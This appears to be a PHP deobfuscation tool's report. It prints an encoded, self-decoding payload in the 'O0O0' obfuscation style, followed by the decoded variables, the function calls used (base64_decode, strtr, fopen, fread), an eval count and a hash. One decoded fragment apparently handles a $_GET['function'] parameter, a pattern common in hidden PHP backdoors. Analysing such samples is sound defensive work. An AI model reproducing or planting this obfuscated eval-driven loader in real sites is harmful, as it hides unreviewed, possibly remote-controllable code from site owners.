b2clfoYPb2yzF29jhtOzfolLhULYtmSYtJOScByLb2lLwe0IkuklF3aSfySmdoaicy9pctffKX0hkoxpF3OgDBWINUELFMazfBx0BZfSDbY0b2lLk107eWPLFoivdMagdmasCMaZwe0IkuklF3aSfySmFoivdMagdmasCMaZk107eWPLF2ajfbkpfulgFoiZCbYlwe0IkuklF3aSfySmF2ajfbkpfulgFoiZCbYlk107eWplC2ivwtwLdoaicy9pctXLdolzfy9pctXLFoivdMagdmasCMaZRtOzcBY1FMl0Ga9XDukiF2aFdJw7eWp9eWpsGbYxdolgC2xvF2APkoxpdMSpKX0hDuO0Fy9ZcbYXd25zca9jd2OlhewXHtL7eWp9eWppcJEPkoc1dMY0DB9Vwe09wtfvfbOJd3aVcoyVDa9mcbOgDo9XFoaZkZLYtmSYtJOjCB1XCBlmdl9pctE9wtFmKX0hDBCIholzF2a0htOgO0aABZfjCB1XCBlmdl9pctffhULYtJOjCB1XCBlmdl9pctEIwtE9wtOgO0aABZfjCB1XCBlmdl9pctffKX0hko1iGy9pctE9weE7eWppcJEPDbYzcbWPky9uOaOdk21iGy9pctffhULYtJOsCbigDBWIwtEINUELb0fyaySmdBy4b2lLk107eWPLdolsDbWINUEJwjSYtMlMwtILdBy4b2lLwe09weEpeWPLdolsDbWIwtEINUEJT1krOawIWlLIDo9XFoaZb2lLwrOyA0HITrlYUaWIHjEXwjSYtJOzFBXINUEJA0aHOAYAwoivFunlFl9pctXIdoaicy9pctXIdolzfy9pctXIFukpd3kpfuLSwuY0CbO1FX0hwtEIwrcUT00IfMljDBOpCBxgDo9XFoaZeWPIwtEIa0iyALAIC2ysFoypc25gDBW9kZOjCB1XCBlmdl9pctFYtJEIwtnidMWIDo9XFoaZb2lLNj0mko1iGy9pctFYtJEIwtELdolsDbWJKX0hkuY0DBWINUnsGbYxdolgFbalFmLPkoxpdMSSkuYxdtLId3wIcollhtfkwoYvfBxLwo5vftnzcBxlC3WIFbalFmLICMajCbazcTPmRM15F3ySDa9lFmkvFJILdolVDZLpKX0hf2ipdoAIhtOZcbY1duWINUnsGbYxdolgcMa0C2igCbYzd2HPkuY0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_]TK|VuE{SMIJ\

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O00OO00 fread
$OO00O0000 48596
$OO00O00O0 if (!isset($_GET['function'])) { echo '{"result" : "FAIL..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 c2002ba8bc0f1a2d76a3803037b49086
Eval Count 3
Decode Time 146 ms